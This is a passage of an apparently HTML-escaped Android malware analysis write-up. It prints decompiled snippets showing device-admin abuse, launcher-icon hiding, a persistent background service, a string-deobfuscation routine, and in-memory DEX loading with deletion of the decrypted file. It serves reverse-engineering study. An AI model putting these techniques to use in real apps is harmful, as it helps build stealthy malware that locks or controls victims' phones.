&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.app.action.DEVICE_ADMIN_DISABLE_REQUESTED&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;action&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.app.action.DEVICE_ADMIN_DISABLED&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/intent-filter&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;/receiver&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In &lt;code>res/xml/device_admin.xml&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;device-admin&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">xmlns:android=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;http://schemas.android.com/apk/res/android&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;uses-policies&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;limit-password/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;reset-password/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;force-lock/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fb4934">&amp;lt;/uses-policies&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;/device-admin&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&amp;hellip;&lt;/p>
&lt;h2 id="main-activity">Main Activity&lt;/h2>
&lt;ul>
&lt;li>&lt;code>android.intennt.action.MAIN&lt;/code>:&lt;/li>
&lt;/ul>
&lt;p>Class &lt;code>cihb.hhsey.VaxdhkzowyXbmy&lt;/code> is the main entrypoint to the malicious application and should be listed as a launcher (due to &lt;code>android.intent.category.LAUNCHER&lt;/code>).&lt;/p>
&lt;p>&lt;img src="media/main-activity.png" alt="">&lt;/p>
&lt;p>File: &lt;code>MainActivity.java&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">public&lt;/span> &lt;span style="color:#fe8019">class&lt;/span> MainActivity &lt;span style="color:#fe8019">extends&lt;/span> Activity &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#928374;font-style:italic">// get application context
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span> Context appCtx &lt;span style="color:#fe8019">=&lt;/span> getApplicationContext&lt;span style="color:#fe8019">();&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#928374;font-style:italic">// create intent for MonitorService
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span> Intent intent &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">new&lt;/span> Intent&lt;span style="color:#fe8019">(&lt;/span>appCtx&lt;span style="color:#fe8019">,&lt;/span> MonitorService&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">class&lt;/span>&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#928374;font-style:italic">// send &amp;#34;ProgOpen&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span> intent&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">putExtra&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;ProgOpen&amp;#34;&lt;/span>&lt;span style="color:#fe8019">,&lt;/span> 1&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#928374;font-style:italic">// start MonitorService =&amp;gt; onStartCommand event will fire
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span> startService&lt;span style="color:#fe8019">(&lt;/span>intent&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>MonitorService&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">qSkgy&lt;/span> &lt;span style="color:#fe8019">==&lt;/span> &lt;span style="color:#fe8019">null&lt;/span>&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> PackageManager pm &lt;span style="color:#fe8019">=&lt;/span> appCtx&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">getPackageManager&lt;/span>&lt;span style="color:#fe8019">();&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#928374;font-style:italic">// dynamically disable component: COMPONENT_ENABLED_STATE_DISABLED = 2
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span> &lt;span style="color:#928374;font-style:italic">// don&amp;#39;t kill the app containing the component: DONT_KILL_APP = 1
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span> pm&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">setComponentEnabledSetting&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>getComponentName&lt;span style="color:#fe8019">(),&lt;/span> COMPONENT_ENABLED_STATE_DISABLED&lt;span style="color:#fe8019">,&lt;/span> DONT_KILL_APP&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>File: &lt;code>MonitorService.java&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>@Override &lt;span style="color:#928374;font-style:italic">// android.app.Service
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">&lt;/span>&lt;span style="color:#fe8019">public&lt;/span> &lt;span style="color:#fabd2f">int&lt;/span> &lt;span style="color:#fabd2f">onStartCommand&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>Intent whe&lt;span style="color:#fe8019">,&lt;/span> &lt;span style="color:#fabd2f">int&lt;/span> fmi&lt;span style="color:#fe8019">,&lt;/span> &lt;span style="color:#fabd2f">int&lt;/span> kQawz65&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> String nxxnx&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> jsb &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">true&lt;/span>&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>whe &lt;span style="color:#fe8019">==&lt;/span> &lt;span style="color:#fe8019">null&lt;/span> &lt;span style="color:#fe8019">||&lt;/span> &lt;span style="color:#fe8019">this&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">mfsk&lt;/span>&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">((&lt;/span>fmi &lt;span style="color:#fe8019">&amp;amp;&lt;/span> 1&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">==&lt;/span> 1&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nxxnx &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#b8bb26">&amp;#34;START_FLAG_REDELIVERY&amp;#34;&lt;/span>&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span> &lt;span style="color:#fe8019">else&lt;/span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">((&lt;/span>fmi &lt;span style="color:#fe8019">&amp;amp;&lt;/span> 2&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">==&lt;/span> 2&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nxxnx &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#b8bb26">&amp;#34;START_FLAG_RETRY&amp;#34;&lt;/span>&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span> &lt;span style="color:#fe8019">else&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> nxxnx &lt;span style="color:#fe8019">=&lt;/span> String&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">valueOf&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>fmi&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> 1&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> &lt;span style="color:#fe8019">this&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">imxzmx&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">Ssld&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>whe&lt;span style="color:#fe8019">,&lt;/span> &lt;span style="color:#fe8019">true&lt;/span>&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;strong>Service Lifecycle&lt;/strong>&lt;/p>
&lt;p>When &lt;code>startService()&lt;/code> is invoked, the system will retrieve the service class, instantiate and call its &lt;code>onCreate()&lt;/code> callback before calling &lt;code>onStartCommand()&lt;/code> method.&lt;/p>
&lt;p>Using &lt;code>startService()&lt;/code> overrides the default service lifetime that is managed by &lt;code>bindService()&lt;/code>. it requires the service to remain running until &lt;code>stopService()&lt;/code> is called, regardless of whether any clients are connected to it.&lt;/p>
&lt;p>&lt;strong>String Decryption&lt;/strong>&lt;/p>
&lt;p>The malware uses a simple algorithm to convert an array of numbers to their string representation.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">class&lt;/span> TransportMediator &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">public&lt;/span> &lt;span style="color:#fe8019">static&lt;/span> &lt;span style="color:#fe8019">final&lt;/span> &lt;span style="color:#fabd2f">int&lt;/span> KEYCODE_MEDIA_PLAY &lt;span style="color:#fe8019">=&lt;/span> 126&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">public&lt;/span> &lt;span style="color:#fe8019">static&lt;/span> &lt;span style="color:#fe8019">final&lt;/span> &lt;span style="color:#fabd2f">int&lt;/span> KEYCODE_MEDIA_PAUSE &lt;span style="color:#fe8019">=&lt;/span> 127&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">public&lt;/span> &lt;span style="color:#fe8019">static&lt;/span> &lt;span style="color:#fe8019">final&lt;/span> &lt;span style="color:#fabd2f">int&lt;/span> KEYCODE_MEDIA_RECORD &lt;span style="color:#fe8019">=&lt;/span> 130&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">};&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">class&lt;/span> Main &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">public&lt;/span> &lt;span style="color:#fe8019">static&lt;/span> &lt;span style="color:#fabd2f">void&lt;/span> &lt;span style="color:#fabd2f">main&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>String args&lt;span style="color:#fe8019">[])&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">int&lt;/span> arr&lt;span style="color:#fe8019">[]&lt;/span> &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 6&lt;span style="color:#fe8019">,&lt;/span> 97&lt;span style="color:#fe8019">,&lt;/span> 74&lt;span style="color:#fe8019">,&lt;/span> 107&lt;span style="color:#fe8019">,&lt;/span> TransportMediator&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">KEYCODE_MEDIA_PLAY&lt;/span>&lt;span style="color:#fe8019">,&lt;/span> 83&lt;span style="color:#fe8019">,&lt;/span> 103&lt;span style="color:#fe8019">,&lt;/span> 111&lt;span style="color:#fe8019">,&lt;/span> 116&lt;span style="color:#fe8019">,&lt;/span> 83&lt;span style="color:#fe8019">,&lt;/span> 103&lt;span style="color:#fe8019">,&lt;/span> 116&lt;span style="color:#fe8019">,&lt;/span> 103&lt;span style="color:#fe8019">,&lt;/span> 109&lt;span style="color:#fe8019">,&lt;/span> 107&lt;span style="color:#fe8019">,&lt;/span> 120&lt;span style="color:#fe8019">,&lt;/span> 99&lt;span style="color:#fe8019">,&lt;/span> 38&lt;span style="color:#fe8019">,&lt;/span> 73&lt;span style="color:#fe8019">,&lt;/span> 120&lt;span style="color:#fe8019">,&lt;/span> 107&lt;span style="color:#fe8019">,&lt;/span> 103&lt;span style="color:#fe8019">,&lt;/span> 122&lt;span style="color:#fe8019">,&lt;/span> 107&lt;span style="color:#fe8019">,&lt;/span> 79&lt;span style="color:#fe8019">,&lt;/span> 116&lt;span style="color:#fe8019">,&lt;/span> 121&lt;span style="color:#fe8019">,&lt;/span> 122&lt;span style="color:#fe8019">,&lt;/span> 103&lt;span style="color:#fe8019">,&lt;/span> 116&lt;span style="color:#fe8019">,&lt;/span> 105&lt;span style="color:#fe8019">,&lt;/span> 107&lt;span style="color:#fe8019">,&lt;/span> 38&lt;span style="color:#fe8019">,&lt;/span> 79&lt;span style="color:#fe8019">,&lt;/span> 116&lt;span style="color:#fe8019">,&lt;/span> 83&lt;span style="color:#fe8019">,&lt;/span> 107&lt;span style="color:#fe8019">,&lt;/span> 115&lt;span style="color:#fe8019">,&lt;/span> 117&lt;span style="color:#fe8019">,&lt;/span> 120&lt;span style="color:#fe8019">,&lt;/span> TransportMediator&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">KEYCODE_MEDIA_PAUSE&lt;/span>&lt;span style="color:#fe8019">,&lt;/span> 38
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">};&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> System&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">out&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">println&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>decode_intArray&lt;span style="color:#fe8019">(&lt;/span>arr&lt;span style="color:#fe8019">));&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">public&lt;/span> &lt;span style="color:#fe8019">static&lt;/span> String &lt;span style="color:#fabd2f">decode_intArray&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fabd2f">int&lt;/span>&lt;span style="color:#fe8019">...&lt;/span> arr&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">int&lt;/span> l &lt;span style="color:#fe8019">=&lt;/span> arr&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">length&lt;/span>&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>l &lt;span style="color:#fe8019">&amp;lt;&lt;/span> 2&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> &lt;span style="color:#fe8019">null&lt;/span>&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">char&lt;/span>&lt;span style="color:#fe8019">[]&lt;/span> wZbvg &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">new&lt;/span> &lt;span style="color:#fabd2f">char&lt;/span>&lt;span style="color:#fe8019">[&lt;/span>l &lt;span style="color:#fe8019">-&lt;/span> 1&lt;span style="color:#fe8019">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">int&lt;/span> k &lt;span style="color:#fe8019">=&lt;/span> arr&lt;span style="color:#fe8019">[&lt;/span>0&lt;span style="color:#fe8019">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">for&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fabd2f">int&lt;/span> i &lt;span style="color:#fe8019">=&lt;/span> 1&lt;span style="color:#fe8019">;&lt;/span> i &lt;span style="color:#fe8019">&amp;lt;&lt;/span> l&lt;span style="color:#fe8019">;&lt;/span> i&lt;span style="color:#fe8019">++)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> wZbvg&lt;span style="color:#fe8019">[&lt;/span>i &lt;span style="color:#fe8019">-&lt;/span> 1&lt;span style="color:#fe8019">]&lt;/span> &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fabd2f">char&lt;/span>&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">(((&lt;/span>arr&lt;span style="color:#fe8019">[&lt;/span>i&lt;span style="color:#fe8019">]&lt;/span> &lt;span style="color:#fe8019">+&lt;/span> 128&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">-&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>k &lt;span style="color:#fe8019">%&lt;/span> 128&lt;span style="color:#fe8019">))&lt;/span> &lt;span style="color:#fe8019">%&lt;/span> 128&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> String&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">valueOf&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>wZbvg&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>&lt;code>AssetManager&lt;/code> : Provides access to an application&amp;rsquo;s raw asset files.&lt;/li>
&lt;/ul>
&lt;p>&lt;img src="media/load-from-assets.png" alt="">&lt;/p>
&lt;ul>
&lt;li>With the help of &lt;code>AndroidManifest.xml&lt;/code> we can give descriptive names to classes according to the intents they are defined to handle.&lt;/li>
&lt;/ul>
&lt;p>&lt;code>InMemoryDexClassLoader(ByteBuffer dexBuffer, ClassLoader parent)&lt;/code>
Creates a new in-memory DEX class loader.&lt;/p>
&lt;pre tabindex="0">&lt;code>MainActivity =&amp;gt; MonitorService.onCreate =&amp;gt; DexMainManager.$init =&amp;gt; FileUtils.CheckDirectory
&lt;/code>&lt;/pre>&lt;p>The malware deletes the decrypted DEX file after loading it into memory.&lt;/p>
&lt;p>&lt;img src="media/dex-loader.png" alt="">&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">/* renamed from: Zpcc */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">private&lt;/span> &lt;span style="color:#fabd2f">void&lt;/span> &lt;span style="color:#fabd2f">load_md_dex&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fabd2f">boolean&lt;/span> yWpe&lt;span style="color:#fe8019">,&lt;/span> &lt;span style="color:#fabd2f">boolean&lt;/span> gQxpg&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> String externalStorageExtractPath &lt;span style="color:#fe8019">=&lt;/span> StringUtils&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">strConcat&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fe8019">this&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">externalStoragePath&lt;/span>&lt;span style="color:#fe8019">,&lt;/span> &lt;span style="color:#b8bb26">&amp;#34;/&amp;#34;&lt;/span>&lt;span style="color:#fe8019">,&lt;/span> &lt;span style="color:#fe8019">this&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">md_main_md&lt;/span>&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">int&lt;/span> iugixkv6 &lt;span style="color:#fe8019">=&lt;/span> 0&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fe8019">this&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">bxved&lt;/span> &lt;span style="color:#fe8019">==&lt;/span> &lt;span style="color:#fe8019">null&lt;/span>&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> createInstanceInMemory&lt;span style="color:#fe8019">();&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">/* renamed from: ZqcyvWgmxad3 */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">private&lt;/span> &lt;span style="color:#fabd2f">void&lt;/span> &lt;span style="color:#fabd2f">createInstanceInMemory&lt;/span>&lt;span style="color:#fe8019">()&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> String dexPathExt &lt;span style="color:#fe8019">=&lt;/span> StringUtils&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">strConcat&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fe8019">this&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">externalStoragePath&lt;/span>&lt;span style="color:#fe8019">,&lt;/span> &lt;span style="color:#b8bb26">&amp;#34;/&amp;#34;&lt;/span>&lt;span style="color:#fe8019">,&lt;/span> &lt;span style="color:#fe8019">this&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">md_main_md&lt;/span>&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> String dexPathLocal &lt;span style="color:#fe8019">=&lt;/span> StringUtils&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">strConcat&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fe8019">this&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">localStoragePath&lt;/span>&lt;span style="color:#fe8019">,&lt;/span> &lt;span style="color:#b8bb26">&amp;#34;/&amp;#34;&lt;/span>&lt;span style="color:#fe8019">,&lt;/span> &lt;span style="color:#fe8019">this&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">md_main_md&lt;/span>&lt;span style="color:#fe8019">);&lt;/span>
